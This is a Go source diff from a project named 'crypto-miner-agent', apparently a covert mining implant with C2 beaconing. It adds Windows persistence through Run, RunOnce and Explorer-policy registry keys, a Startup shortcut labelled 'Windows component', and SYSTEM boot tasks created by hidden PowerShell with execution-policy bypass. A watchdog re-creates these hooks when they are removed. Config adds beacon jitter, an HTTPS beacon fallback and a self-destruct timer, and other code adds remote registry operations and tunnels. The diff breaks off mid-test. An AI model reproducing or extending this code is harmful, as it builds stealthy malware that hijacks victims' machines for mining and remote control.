HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
AutoStart bool AutoStart bool
// AutostartMode selects boot/logon hooks beyond RunAs (Windows). Empty = legacy (HKCU Run when AutoStart).
// Values: none, logon_run, logon_startup_folder, boot_task, logon_task, all (comma-separated allowed).
AutostartMode string
// RegistryPersistence selects forge-baked registry Run/RunOnce locations (Windows).
// Values: off, hkcu_run, hkcu_run_once, hklm_run, hklm_run_once, explorer_run, combined (comma-separated allowed).
RegistryPersistence string
RegistryRunHKCU bool
RegistryRunHKLM bool
RegistryRunOnce bool
RegistryExplorerRun bool
ProcessName string ProcessName string
BuildID string BuildID string
BuiltAt time.Time BuiltAt time.Time
@@ -76,6 +86,15 @@ type BuiltinConfig struct {
RVNPoolTLS bool // primary RVN pool TLS flag RVNPoolTLS bool // primary RVN pool TLS flag
RVNPoolPass string // stratum password (usually "x") RVNPoolPass string // stratum password (usually "x")
RVNBackupPools []BackupPool // failover RVN pools RVNBackupPools []BackupPool // failover RVN pools
// Connection profile — C2 beacon timing and self-destruct
BeaconIntervalSec int // base reconnect delay seconds (0 = default 5)
BeaconJitterPct int // ± percent jitter on reconnect sleep (0100)
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
HTTPSBeaconFallback bool
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
HTTPSBeaconAfterMin int
} }
// BackupPool holds connection info for a fallback Stratum mining pool. // BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -0,0 +1,101 @@
// Package deploy autostart hooks (Windows, MITRE T1547-style).
//
// Triggers:
// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks)
// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing)
// - Uninstall / removePersistence → removeAutostartExtras
//
// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user".
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
// Autostart mode values (baked at forge time via AutostartMode).
// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user".
const (
AutostartNone = "none"
AutostartLogonRun = "logon_run"
AutostartLogonStartupFolder = "logon_startup_folder"
AutostartBootTask = "boot_task"
AutostartLogonTask = "logon_task"
AutostartAll = "all"
)
func runAsHasBuiltInPersistence(runAs string) bool {
switch strings.ToLower(strings.TrimSpace(runAs)) {
case "scheduled", "service", "bits", "host_binary":
return true
default:
return false
}
}
// effectiveAutostartModes returns persistence hooks to install/heal for this forge.
// Install + watchdog self-heal both use this list.
func effectiveAutostartModes(cfg config.RuntimeConfig) []string {
raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode))
var modes []string
if raw == "" || raw == "legacy" {
if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) {
modes = []string{AutostartLogonRun}
}
} else if raw == AutostartNone {
modes = nil
} else if raw == AutostartAll {
modes = []string{
AutostartLogonRun,
AutostartLogonStartupFolder,
AutostartBootTask,
AutostartLogonTask,
}
} else {
for _, part := range strings.Split(raw, ",") {
part = strings.TrimSpace(part)
if part == "" || part == AutostartNone {
continue
}
modes = append(modes, part)
}
}
return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg)))
}
func dedupeRegistryRunOverlap(modes []string) []string {
hasLegacy := false
hasHKCU := false
for _, m := range modes {
if m == AutostartLogonRun {
hasLegacy = true
}
if m == RegistryHKCURun {
hasHKCU = true
}
}
if !hasLegacy || !hasHKCU {
return modes
}
out := make([]string, 0, len(modes))
for _, m := range modes {
if m == RegistryHKCURun {
continue
}
out = append(out, m)
}
return out
}
func autostartBootTaskName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + "-Boot"
}
func autostartLogonTaskName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + "-Logon"
}
func autostartStartupShortcutName(cfg config.RuntimeConfig) string {
return PersistenceKeyName(cfg) + ".lnk"
}

View File

@@ -0,0 +1,15 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
func applyAutostartOnInstall(_ config.RuntimeConfig, _ string) error {
return nil
}
func ensureAutostartHooks(_ config.RuntimeConfig, _ string, _ bool) error {
return nil
}
func removeAutostartExtras(_ config.RuntimeConfig) {}

View File

@@ -0,0 +1,47 @@
package deploy
import (
"testing"
"crypto-miner-agent/config"
)
func TestEffectiveAutostartModesLegacy(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "w1",
AutoStart: true,
RunAs: "user",
}}
modes := effectiveAutostartModes(cfg)
if len(modes) != 1 || modes[0] != AutostartLogonRun {
t.Fatalf("legacy user+AutoStart = %v", modes)
}
cfg.RunAs = "scheduled"
if got := effectiveAutostartModes(cfg); len(got) != 0 {
t.Fatalf("scheduled should not add legacy run key modes: %v", got)
}
}
func TestEffectiveAutostartModesExplicit(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
AutostartMode: "boot_task,logon_startup_folder",
}}
modes := effectiveAutostartModes(cfg)
if len(modes) != 2 {
t.Fatalf("got %v", modes)
}
}
func TestAutostartTaskAndShortcutNames(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab-node"}}
if got := autostartBootTaskName(cfg); got != "CryptoMiner-lab-node-Boot" {
t.Fatalf("boot task %q", got)
}
if got := autostartLogonTaskName(cfg); got != "CryptoMiner-lab-node-Logon" {
t.Fatalf("logon task %q", got)
}
if got := autostartStartupShortcutName(cfg); got != "CryptoMiner-lab-node.lnk" {
t.Fatalf("shortcut %q", got)
}
}

View File

@@ -0,0 +1,126 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart).
// Triggers: first install (InstallIfNeeded) after binary copy.
func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error {
return ensureAutostartHooks(cfg, binPath, false)
}
// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks.
func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error {
for _, mode := range effectiveAutostartModes(cfg) {
if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil {
return err
}
}
return nil
}
func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error {
switch mode {
case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun:
if healOnly && registryRunValueExists(cfg, mode, binPath) {
return nil
}
return writeRegistryRunValue(cfg, mode, binPath)
case AutostartLogonStartupFolder:
if healOnly && startupShortcutExists(cfg) {
return nil
}
return createLogonStartupShortcut(cfg, binPath)
case AutostartBootTask:
name := autostartBootTaskName(cfg)
if healOnly && scheduledTaskExists(name) {
return nil
}
return createBootScheduledTask(cfg, binPath, name)
case AutostartLogonTask:
name := autostartLogonTaskName(cfg)
if healOnly && scheduledTaskExists(name) {
return nil
}
return createLogonScheduledTask(cfg, binPath, name)
default:
return nil
}
}
func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error {
startupDir, err := userStartupFolder()
if err != nil {
return err
}
if err := os.MkdirAll(startupDir, 0755); err != nil {
return fmt.Errorf("startup folder: %w", err)
}
lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg))
ps := fmt.Sprintf(`
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('%s')
$lnk.TargetPath = '%s'
$lnk.Arguments = '%s'
$lnk.WindowStyle = 7
$lnk.Description = 'Windows component'
$lnk.Save()
`,
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(binPath, `'`, `''`),
strings.ReplaceAll(runFlag, `'`, `''`),
)
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
func userStartupFolder() (string, error) {
appData := os.Getenv("APPDATA")
if appData == "" {
return "", fmt.Errorf("APPDATA not set")
}
return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil
}
func startupShortcutExists(cfg config.RuntimeConfig) bool {
dir, err := userStartupFolder()
if err != nil {
return false
}
_, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg)))
return err == nil
}
func scheduledTaskTrigger(binPath string) string {
return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
}
// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run).
func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
tr := scheduledTaskTrigger(binPath)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F")
}
// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name.
func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
tr := scheduledTaskTrigger(binPath)
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}
func removeAutostartExtras(cfg config.RuntimeConfig) {
removeRegistryPersistence(cfg)
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F")
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F")
if dir, err := userStartupFolder(); err == nil {
_ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg)))
}
}

View File

@@ -0,0 +1,19 @@
//go:build windows
package deploy
import (
"path/filepath"
"strings"
"testing"
)
func TestUserStartupFolderSuffix(t *testing.T) {
dir, err := userStartupFolder()
if err != nil {
t.Skip("APPDATA unset in test environment")
}
if !strings.HasSuffix(filepath.ToSlash(dir), "Programs/Startup") {
t.Fatalf("unexpected startup dir %q", dir)
}
}

View File

@@ -55,10 +55,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
_ = setFirstRunSpreadMarker(installDir) _ = setFirstRunSpreadMarker(installDir)
} }
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" { if err := applyAutostartOnInstall(cfg, installedBin); err != nil {
if err := configureAutoStart(cfg, installedBin); err != nil { return false, fmt.Errorf("autostart: %w", err)
return false, fmt.Errorf("auto-start: %w", err)
}
} }
if err := configureRunMode(cfg, installedBin); err != nil { if err := configureRunMode(cfg, installedBin); err != nil {

View File

@@ -3,11 +3,7 @@
package deploy package deploy
import ( import (
"strings"
"crypto-miner-agent/config" "crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
) )
func scheduledTaskExists(taskName string) bool { func scheduledTaskExists(taskName string) bool {
@@ -15,17 +11,7 @@ func scheduledTaskExists(taskName string) bool {
} }
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool { func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
keyName := PersistenceKeyName(cfg) return registryRunValueExists(cfg, AutostartLogonRun, binPath)
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue(keyName)
if err != nil {
return false
}
return strings.Contains(val, binPath)
} }
func serviceExists(svcName string) bool { func serviceExists(svcName string) bool {
@@ -59,12 +45,6 @@ func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
return err return err
} }
} }
default:
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
if err := configureAutoStart(cfg, installedBin); err != nil {
return err
}
}
} }
return nil return ensureAutostartHooks(cfg, installedBin, true)
} }

View File

@@ -118,12 +118,8 @@ func killWorkerProcess(cfg config.RuntimeConfig) {
func removePersistence(cfg config.RuntimeConfig) { func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg) keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
}
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F") _ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
removeAutostartExtras(cfg)
RemoveBITSPersistence(cfg) RemoveBITSPersistence(cfg)
RemoveHostBinaryPersistence(cfg) RemoveHostBinaryPersistence(cfg)
svcName := cfg.ServiceName svcName := cfg.ServiceName

View File

@@ -0,0 +1,40 @@
package deploy
import (
"fmt"
"strings"
)
var allowedRegistryPathPrefixes = []string{
`software\`,
`environment`,
}
// ParseRegistryHive maps operator hive strings to internal tokens (hkcu/hklm).
func ParseRegistryHive(hive string) (string, error) {
switch strings.ToUpper(strings.TrimSpace(hive)) {
case "HKCU", "HKEY_CURRENT_USER", "CURRENT_USER":
return "hkcu", nil
case "HKLM", "HKEY_LOCAL_MACHINE", "LOCAL_MACHINE":
return "hklm", nil
default:
return "", fmt.Errorf("unsupported hive %q (use HKCU or HKLM)", hive)
}
}
// ValidateRegistryPath ensures fleet registry ops stay under safe prefixes.
func ValidateRegistryPath(hiveToken, subkey string) error {
subkey = strings.TrimSpace(subkey)
subkey = strings.TrimPrefix(subkey, `\`)
subkey = strings.TrimSuffix(subkey, `\`)
if subkey == "" {
return fmt.Errorf("registry path is required")
}
lower := strings.ToLower(subkey)
for _, prefix := range allowedRegistryPathPrefixes {
if strings.HasPrefix(lower, prefix) {
return nil
}
}
return fmt.Errorf("registry path %q is outside the allowed prefix list (Software\\, Environment)", subkey)
}

View File

@@ -0,0 +1,117 @@
package deploy
import (
"strings"
"crypto-miner-agent/config"
)
// Registry persistence mode tokens (forge-baked via RegistryPersistence or autostart_mode).
const (
RegistryHKCURun = "hkcu_run"
RegistryHKCURunOnce = "hkcu_run_once"
RegistryHKLMRun = "hklm_run"
RegistryHKLMRunOnce = "hklm_run_once"
RegistryExplorerRun = "explorer_run"
RegistryPersistenceOff = "off"
RegistryPersistenceAll = "combined"
)
// RegistryPersistenceValueName is the deterministic value name for forge-baked registry hooks.
func RegistryPersistenceValueName(cfg config.RuntimeConfig) string {
name := sanitizeName(cfg.WorkerName)
if name == "" {
name = cfg.EffectiveProcessName()
}
return "AetherForge_" + name
}
// SanitizeRegistryValueName strips characters invalid in registry value names.
func SanitizeRegistryValueName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return "AetherForgeValue"
}
replacer := strings.NewReplacer("/", "", "\\", "", ":", "", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
clean := replacer.Replace(name)
if clean == "" {
return "AetherForgeValue"
}
if len(clean) > 255 {
clean = clean[:255]
}
return clean
}
func effectiveRegistryPersistenceModes(cfg config.RuntimeConfig) []string {
raw := strings.ToLower(strings.TrimSpace(cfg.RegistryPersistence))
if raw == "" || raw == RegistryPersistenceOff {
return modesFromRegistryBools(cfg)
}
if raw == RegistryPersistenceAll {
return combinedRegistryModes(cfg)
}
if raw == RegistryHKCURun || raw == RegistryHKCURunOnce || raw == RegistryHKLMRun ||
raw == RegistryHKLMRunOnce || raw == RegistryExplorerRun {
return []string{raw}
}
var modes []string
for _, part := range strings.Split(raw, ",") {
part = strings.TrimSpace(part)
if part == "" || part == RegistryPersistenceOff {
continue
}
modes = append(modes, part)
}
return modes
}
func modesFromRegistryBools(cfg config.RuntimeConfig) []string {
if cfg.RegistryRunHKCU || cfg.RegistryRunOnce || cfg.RegistryRunHKLM || cfg.RegistryExplorerRun {
return combinedRegistryModes(cfg)
}
return nil
}
func combinedRegistryModes(cfg config.RuntimeConfig) []string {
var modes []string
if cfg.RegistryRunHKCU {
modes = append(modes, RegistryHKCURun)
}
if cfg.RegistryRunOnce {
modes = append(modes, RegistryHKCURunOnce)
}
if cfg.RegistryRunHKLM {
modes = append(modes, RegistryHKLMRun, RegistryHKLMRunOnce)
}
if cfg.RegistryExplorerRun {
modes = append(modes, RegistryExplorerRun)
}
if len(modes) == 0 && strings.EqualFold(strings.TrimSpace(cfg.RegistryPersistence), RegistryPersistenceAll) {
modes = []string{RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryExplorerRun}
}
return modes
}
func mergeAutostartModes(base []string, extra []string) []string {
if len(extra) == 0 {
return base
}
seen := make(map[string]bool, len(base)+len(extra))
out := make([]string, 0, len(base)+len(extra))
for _, m := range base {
if m == "" || seen[m] {
continue
}
seen[m] = true
out = append(out, m)
}
for _, m := range extra {
if m == "" || seen[m] {
continue
}
seen[m] = true
out = append(out, m)
}
return out
}

View File

@@ -0,0 +1,29 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
func writeRegistryRunValue(_ config.RuntimeConfig, _, _ string) error { return nil }
func registryRunValueExists(_ config.RuntimeConfig, _, _ string) bool { return false }
func removeRegistryPersistence(_ config.RuntimeConfig) {}
func IsProcessElevated() bool { return false }
func FleetRegistryRead(_, _ string) (map[string]interface{}, error) {
return nil, fmt.Errorf("registry operations are unsupported on this platform")
}
func FleetRegistryWrite(_, _, _, _, _ string) error {
return fmt.Errorf("registry operations are unsupported on this platform")
}
func FleetRegistryDelete(_, _, _ string) error {
return fmt.Errorf("registry operations are unsupported on this platform")
}

View File

@@ -0,0 +1,102 @@
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateRegistryPathAllowed(t *testing.T) {
cases := []struct {
hive string
path string
}{
{"HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
{"HKLM", `Software\AetherForge\Test`},
{"HKCU", `Environment`},
}
for _, tc := range cases {
if err := ValidateRegistryPath("hkcu", tc.path); err != nil {
t.Fatalf("%s: %v", tc.path, err)
}
}
}
func TestValidateRegistryPathBlocked(t *testing.T) {
blocked := []string{
`SYSTEM\CurrentControlSet\Services`,
`Microsoft\Windows\CurrentVersion\Run`,
`SAM\Domains`,
}
for _, path := range blocked {
if err := ValidateRegistryPath("hkcu", path); err == nil {
t.Fatalf("expected block for %q", path)
}
}
}
func TestSanitizeRegistryValueName(t *testing.T) {
got := SanitizeRegistryValueName(`bad/name:with*chars`)
if strings.ContainsAny(got, `/:*`) {
t.Fatalf("unsanitized %q", got)
}
if got == "" {
t.Fatal("empty name")
}
}
func TestRegistryPersistenceValueName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
got := RegistryPersistenceValueName(cfg)
if got != "AetherForge_lab-node" {
t.Fatalf("got %q", got)
}
}
func TestEffectiveRegistryPersistenceModesEnum(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
RegistryPersistence: "hkcu_run_once,hklm_run",
}}
modes := effectiveRegistryPersistenceModes(cfg)
if len(modes) != 2 {
t.Fatalf("got %v", modes)
}
}
func TestEffectiveRegistryPersistenceModesBools(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
RegistryRunHKCU: true,
RegistryRunOnce: true,
}}
modes := effectiveRegistryPersistenceModes(cfg)
if len(modes) != 2 {
t.Fatalf("got %v", modes)
}
}
func TestEffectiveAutostartModesIncludesRegistry(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
RegistryPersistence: "hkcu_run_once",
}}
modes := effectiveAutostartModes(cfg)
found := false
for _, m := range modes {
if m == RegistryHKCURunOnce {
found = true
}
}
if !found {
t.Fatalf("registry mode not merged: %v", modes)
}
}
func TestParseRegistryHive(t *testing.T) {
token, err := ParseRegistryHive("HKEY_CURRENT_USER")
if err != nil || token != "hkcu" {
t.Fatalf("hkcu parse: %q %v", token, err)
}
if _, err := ParseRegistryHive("HKU"); err == nil {
t.Fatal("expected error for HKU")
}
}

View File

@@ -0,0 +1,287 @@
//go:build windows
package deploy
import (
"fmt"
"strings"
"unsafe"
"crypto-miner-agent/config"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
type registryLoc struct {
hive registry.Key
subkey string
needsAdmin bool
}
func registryLocForMode(mode string) (registryLoc, bool) {
switch mode {
case AutostartLogonRun, RegistryHKCURun:
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true
case RegistryHKCURunOnce:
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true
case RegistryHKLMRun:
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true
case RegistryHKLMRunOnce:
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true
case RegistryExplorerRun:
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true
default:
return registryLoc{}, false
}
}
func registryRunCommand(binPath string) string {
return fmt.Sprintf(`"%s" %s`, binPath, runFlag)
}
func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string {
switch mode {
case AutostartLogonRun:
return PersistenceKeyName(cfg)
default:
return RegistryPersistenceValueName(cfg)
}
}
func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error {
loc, ok := registryLocForMode(mode)
if !ok {
return nil
}
if loc.needsAdmin && !IsProcessElevated() {
return nil
}
k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath))
}
func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool {
loc, ok := registryLocForMode(mode)
if !ok {
return false
}
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode))
if err != nil {
return false
}
return strings.Contains(val, binPath)
}
func removeRegistryValueAt(loc registryLoc, valueName string) {
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE)
if err != nil {
return
}
defer k.Close()
_ = k.DeleteValue(valueName)
}
func removeRegistryPersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
agentName := RegistryPersistenceValueName(cfg)
for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) {
loc, ok := registryLocForMode(mode)
if !ok {
continue
}
removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode))
}
// Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming.
loc, _ := registryLocForMode(AutostartLogonRun)
removeRegistryValueAt(loc, keyName)
removeRegistryValueAt(loc, agentName)
}
func allRegistryModeTokens() []string {
return []string{
RegistryHKCURun,
RegistryHKCURunOnce,
RegistryHKLMRun,
RegistryHKLMRunOnce,
RegistryExplorerRun,
}
}
// IsProcessElevated reports whether the current token is in the Administrators role.
func IsProcessElevated() bool {
var token windows.Token
if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil {
return false
}
defer token.Close()
// TokenElevationTypeFull (2) on Vista+
var elevation uint32
var outLen uint32
err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen)
if err == nil && elevation != 0 {
return true
}
// Fallback: check admin SID membership.
sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
if err != nil {
return false
}
member, err := token.IsMember(sid)
return err == nil && member
}
// FleetRegistryRead returns JSON-friendly map of value names to {type,value}.
func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) {
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
return nil, err
}
hive, err := registryHiveKey(hiveToken)
if err != nil {
return nil, err
}
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
return nil, fmt.Errorf("HKLM read requires elevation")
}
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return nil, err
}
defer k.Close()
names, err := k.ReadValueNames(-1)
if err != nil {
return nil, err
}
values := make(map[string]interface{}, len(names))
for _, name := range names {
val, valType, err := readRegistryValue(k, name)
if err != nil {
values[name] = map[string]string{"error": err.Error()}
continue
}
values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val}
}
return map[string]interface{}{
"hive": strings.ToUpper(hiveToken),
"path": subkey,
"values": values,
}, nil
}
func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error {
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
return err
}
name = SanitizeRegistryValueName(name)
if name == "" {
return fmt.Errorf("value name is required")
}
hive, err := registryHiveKey(hiveToken)
if err != nil {
return err
}
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
return fmt.Errorf("HKLM write requires elevation")
}
k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
switch strings.ToUpper(strings.TrimSpace(valType)) {
case "REG_DWORD", "DWORD":
var n uint32
if _, err := fmt.Sscanf(value, "%d", &n); err != nil {
return fmt.Errorf("invalid REG_DWORD value %q", value)
}
return k.SetDWordValue(name, n)
case "REG_SZ", "SZ", "":
return k.SetStringValue(name, value)
default:
return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType)
}
}
func FleetRegistryDelete(hiveToken, subkey, name string) error {
if err := ValidateRegistryPath(hiveToken, subkey); err != nil {
return err
}
name = SanitizeRegistryValueName(name)
if name == "" {
return fmt.Errorf("value name is required")
}
hive, err := registryHiveKey(hiveToken)
if err != nil {
return err
}
if hive == registry.LOCAL_MACHINE && !IsProcessElevated() {
return fmt.Errorf("HKLM delete requires elevation")
}
k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.DeleteValue(name)
}
func registryHiveKey(hiveToken string) (registry.Key, error) {
switch hiveToken {
case "hkcu":
return registry.CURRENT_USER, nil
case "hklm":
return registry.LOCAL_MACHINE, nil
default:
return 0, fmt.Errorf("unknown hive token %q", hiveToken)
}
}
func normalizeSubkey(path string) string {
path = strings.TrimSpace(path)
path = strings.TrimPrefix(path, `\`)
for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} {
if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) {
path = path[len(prefix):]
break
}
}
return path
}
func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) {
val, valType, err := k.GetStringValue(name)
if err == nil {
return val, valType, nil
}
if err != registry.ErrUnexpectedType {
return nil, 0, err
}
n, _, err := k.GetIntegerValue(name)
if err != nil {
return nil, 0, err
}
return n, registry.DWORD, nil
}
func registryTypeName(t uint32) string {
switch t {
case registry.SZ:
return "REG_SZ"
case registry.DWORD:
return "REG_DWORD"
default:
return fmt.Sprintf("REG_%d", t)
}
}

View File

@@ -0,0 +1,39 @@
//go:build !windows
package deploy
import "encoding/json"
type TunnelKind string
const (
TunnelCloudflared TunnelKind = "cloudflared"
TunnelSSHForward TunnelKind = "ssh_forward"
)
type SSHForwardMeta struct {
LocalPort int `json:"local_port"`
RemoteHost string `json:"remote_host"`
RemotePort int `json:"remote_port"`
SSHUser string `json:"ssh_user,omitempty"`
JumpHost string `json:"jump_host,omitempty"`
}
func RegisterTunnelPID(_ TunnelKind, _ int, _ string) {}
func TunnelStatus() string {
b, _ := json.Marshal(map[string]any{
"cloudflared_running": false,
"ssh_forwards": []any{},
"platform": "unsupported",
})
return string(b)
}
func StopTunnels(_ ...TunnelKind) (int, []string) {
return 0, []string{"tunnel stop is Windows-only in this build"}
}
func ResetTrackedTunnels() {}
func CloudflaredTargetFromEnv() string { return "" }

View File

@@ -0,0 +1,62 @@
package deploy
import (
"encoding/json"
"strings"
"testing"
)
func TestStartCloudflaredTunnelEmptyURL(t *testing.T) {
_, err := StartCloudflaredTunnel("")
if err == nil || !strings.Contains(err.Error(), "server URL required") {
t.Fatalf("expected URL error, got %v", err)
}
_, err = StartCloudflaredTunnel(" ")
if err == nil {
t.Fatal("whitespace-only URL should fail")
}
}
func TestTunnelManagerRegisterAndStatus(t *testing.T) {
ResetTrackedTunnels()
oldAlive := processAliveFn
processAliveFn = func(int) bool { return true }
defer func() { processAliveFn = oldAlive }()
RegisterTunnelPID(TunnelCloudflared, 4242, "https://example.com")
RegisterTunnelPID(TunnelSSHForward, 9999, `{"local_port":2222,"remote_host":"10.0.0.5","remote_port":22}`)
raw := TunnelStatus()
var st TunnelStatusJSON
if err := json.Unmarshal([]byte(raw), &st); err != nil {
t.Fatalf("status json: %v", err)
}
if !st.CloudflaredRunning || st.CloudflaredPID != 4242 || st.CloudflaredURL != "https://example.com" {
t.Fatalf("cloudflared status wrong: %+v", st)
}
if len(st.SSHForwards) != 1 || st.SSHForwards[0].LocalPort != 2222 {
t.Fatalf("ssh forward status wrong: %+v", st.SSHForwards)
}
}
func TestStopTunnelsEmptyRegistry(t *testing.T) {
ResetTrackedTunnels()
n, msgs := StopTunnels()
if n != 0 {
t.Fatalf("expected 0 stopped, got %d", n)
}
if len(msgs) != 0 {
t.Fatalf("expected no msgs, got %v", msgs)
}
}
func TestStartSSHForwardValidation(t *testing.T) {
_, err := StartSSHForward(SSHForwardMeta{})
